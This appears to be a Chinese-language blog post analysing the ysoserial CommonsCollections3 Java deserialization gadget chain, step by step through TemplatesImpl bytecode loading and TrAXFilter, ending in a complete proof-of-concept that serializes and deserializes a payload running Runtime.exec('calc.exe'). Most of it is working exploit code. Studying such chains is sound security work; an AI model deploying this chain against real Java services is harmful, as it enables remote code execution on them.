ysoserial CommonsCollections3 分析

cc3利用链如下：

TrAXFilter(Templates templates)
    TemplatesImpl->newTransformer()
        TemplatesImpl->getTransletInstance()
            _class[_transletIndex].newInstance();

一、为构造的恶意字节码文件找一个newInstance启动入口

在TemplatesImpl类中的getTransletInstance方法，对 _class[_transletIndex]实现了newInstance()。

所以如果构造一个恶意类，然后通过类加载器加载，最终通过TemplatesImpl实现这个类的实例化，将实现这个恶意类的初始化执行。

假设将恶意代码写入这个类的静态代码块中，在这个类被实例化的时候得到执行，以Runtime为例。

构造恶意类：

public class Runtimecalc {
    {
        Runtime runtime = Runtime.getRuntime();
        try {
            runtime.exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

又由于TemplatesImpl类中，getTransletInstance方法属于私有方法，所以需要依赖另一个方法。其中该类的newTransformer()调用了getTransletInstance()，该方法public作用域，可以被外部调用执行。

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

通过反射给_class和_transletIndex赋值。但是在赋值之前，我们看到getTransletInstance方法对_name也做了判断if (_name == null) return null;，要求不能为空才可以继续执行后面代码，所以还需要通过反射给_name赋值。

另外需要注意的是由于这里做了一个强转(AbstractTranslet)_class[_transletIndex].newInstance();

加载的字节码类需要继承AbstractTranslet

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

那么假设我们通过反射，直接为_class赋值为一个恶意字节码文件的文件路径。

然后通过调newTransformer方法实现，就能得到字节码文件的初始化执行。

TemplatesImpl templates = new TemplatesImpl();

Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");

Field aClass = templates_cl.getDeclaredField("_class");
aClass.setAccessible(true);
aClass.set(templates,new Class[]{Runtimecalc.class});

Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);

templates.newTransformer();

二、字节码文件路径是无法在目标机器得到执行的，所以需要找到其他方法将字节码内容直接赋值序列化

Runtimecalc.class作为类文件赋值，是无法实现序列化的时候将文件内容直接传入的，这里赋值的只是文件路径。

所以序列化和反序列化是不成功的。

我们知道ClassLoader在加载的类的时候，最终是通过defineClass加载字节码文件内容。

利用这种方式，直接的赋值传参内容是字节码，就可以达到恶意类加载的序列化和反序列化。

Templateslmpl类中getTransletInstance方法中，在_class[_transletIndex].newInstance()执行前，还有一段如下代码

if (_class == null) defineTransletClasses()

假设我们之前不对_class赋值，查看defineTransletClasses做了什么。

private void defineTransletClasses()
        throws TransformerConfigurationException {
		
    	//需要给_bytecodes赋值
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
    	
    	TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });
		
        try {
            final int classCount = _bytecodes.length;
            //为_class赋值，长度为_bytecodes的长度
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                //_bytecodes[0]赋值为字节码内容赋值给_class[0]
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
        }
    }

private byte[][] _bytecodes = null;

_bytecodes是一个byte二维数组，我们将byte[]类型的字节码赋值给_bytecodes[0]

这里就直接赋值字节码内容了

byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));

这样在defineTransletClasses被调用的时候

执行_class[i] = loader.defineClass(_bytecodes[i]);

_class[0]将会被赋值为loader.defineClass(code)

由于_tfactory需要调用，所以给_tfactory也赋值

最终实现代码如下：

TemplatesImpl templates = new TemplatesImpl();

Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");

//注释不给_class赋值，满足_class == null，defineTransletClasses得到调用
//Field aClass = templates_cl.getDeclaredField("_class");
//aClass.setAccessible(true);
//aClass.set(templates,new Class[]{Runtimecalc.class});

Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);

//加载字节码
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
byte[][] codes = {code};

//给_bytecodes赋值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

//要顺利执行，_tfactory得赋值，因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl类型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);

templates.newTransformer();

三、让newTransformer得到执行

TrAXFilter类的构造方法会调用newTransformer

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

TrAXFilter trAXFilter = new TrAXFilter(templates);

但是TrAXFilter并不实现Serializable接口，无法序列化，需要通过反射调用

在cc1中反射执行最终是通过InvokerTransformer的transform来实现

这里用了InstantiateTransformer的transform

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

剩下的就和cc1一样了

public class CC3Test3 {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();

        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");

        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);
        

        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
        byte[][] codes = {code};

        //给_bytecodes赋值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);

        //要顺利执行，_tfactory得赋值，因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl类型的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);


        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformerslist = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer,
        };

        ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformerslist);

        HashMap hashMap1 = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformerruntime);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);

        InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc3.ser"));
        objectOutputStream.writeObject(handle);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc3.ser"));
        objectInputStream.readObject();

    }
}